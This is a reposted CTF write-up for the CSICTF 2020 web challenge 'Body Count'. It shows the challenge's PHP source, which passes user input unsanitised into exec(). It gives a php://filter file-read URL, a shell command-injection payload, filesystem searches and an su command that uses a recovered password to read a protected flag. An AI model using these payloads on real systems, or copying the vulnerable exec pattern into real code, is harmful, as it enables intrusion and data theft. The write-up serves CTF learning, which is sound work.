Body Count

发表于 2021-01-09 分类于 [Challenge](), [2020](), [CSICTF](), [Web]()
Challenge | 2020 | CSICTF | Web | Body Count

[点击此处]()获得更好的阅读体验

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/web/2020/07/21/Body-Count.html

by `anishbadhri`

题目描述

> Here's a character count service for you!

题目考点

解题思路

On observing, there's a cookie called `password` with value as `PASSWORD`.

Finding value of password cookie

On going to `robots.txt`, the file `checkpass.php` is disallowed. To view this file, we can make use of php inbuilts. http://chall.csivit.com:30202/?file=php://filter/convert.base64-encode/resource=checkpass.php. This returns a base64 encoding of `checkpass.php`.

checkpass.php

```
<?php
$password = "w0rdc0unt123";
// Cookie password.
echo "IMPORTANT!!! The page is still under development. This has a secret, do not push this page.";
header('Location: /');
```

Thus, the password is `w0rdc0unt123`. Setting this as the cookie value sets a new webpage.

Finding how word count is executed and accessing shell

This first needs access to the contents of `wc.php`. http://chall.csivit.com:30202/?file=php://filter/convert.base64-encode/resource=wc.php.

wc.php

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>wc as a service</title>
    <style>
        html,
        body {
            overflow: none;
            max-height: 100vh;
        }
    </style>
</head>
<body style="height: 100vh; text-align: center; background-color: black; color: white; display: flex; flex-direction: column; justify-content: center;">
    <?php
    ini_set('max_execution_time', 5);
    if ($_COOKIE['password'] !== getenv('PASSWORD')) {
        setcookie('password', 'PASSWORD');
        die('Sorry, only people from csivit are allowed to access this page.');
    }
    ?>
    <h1>Character Count as a Service</h1>
    <form>
        <input type="hidden" value="wc.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="text" rows=30 cols=100></textarea><br />
        <input type="submit">
    </form>
    <?php
    if (isset($_GET["text"])) {
        $text = $_GET["text"];
        echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c') . "</h2>";
    }
    ?>
</body>
</html>
```

The command is executed as `printf '{text}' | wc -c'`. This can be exploited by passing the value of `text` as `'; {command} #` where command can be any linux shell command.

This basically

- closes the quotes on `printf`
- adding `;` for a new command
- adding `#` to comment the rest of the line

However, this only prints the last line of result of command. This can be worked around with by appending `| head n1` to the command which enables to view first line instead and changing the `head` parameter can view every result line by line.

Locating flag

This can be done with the find command

```
find / -iname "*flag*"
```

This return the location of the flag as `/ctf/system/of/a/down/flag.txt`. However, trying to `cat` this file fails. The reason why can be seen on executing

```
ls -l /ctf/system/of/a/down/flag.txt
```

The file doesn't allow any user other than `root` and `ctf` to view the file. Thus this needs the password of `root` or `ctf`.

On further searching of the entire file system, a file `/ctf/README` can be found. Viewing this file returns

```
My password hash is 6f246c872cbf0b7fd7530b7aa235e67e.
```

With a few reversing attempts, the original string resulting in this hash is `csictf`.

Running the `cat` command as the user `ctf` returns the flag.

```
echo "csictf" | su ctf -c "cat /ctf/system/of/a/down/flag.txt"
```

Flag

```
csictf{1nj3ct10n_15_p41nfu1}
```

- **本文作者：** CTFHub
- **本文链接：** https://writeup.ctfhub.com/Challenge/2020/CSICTF/Web/jAAugeksu6zJ4GTCFQHfjv.html

# Challenge # 2020 # Web # CSICTF
Warm Up
The Usual Suspects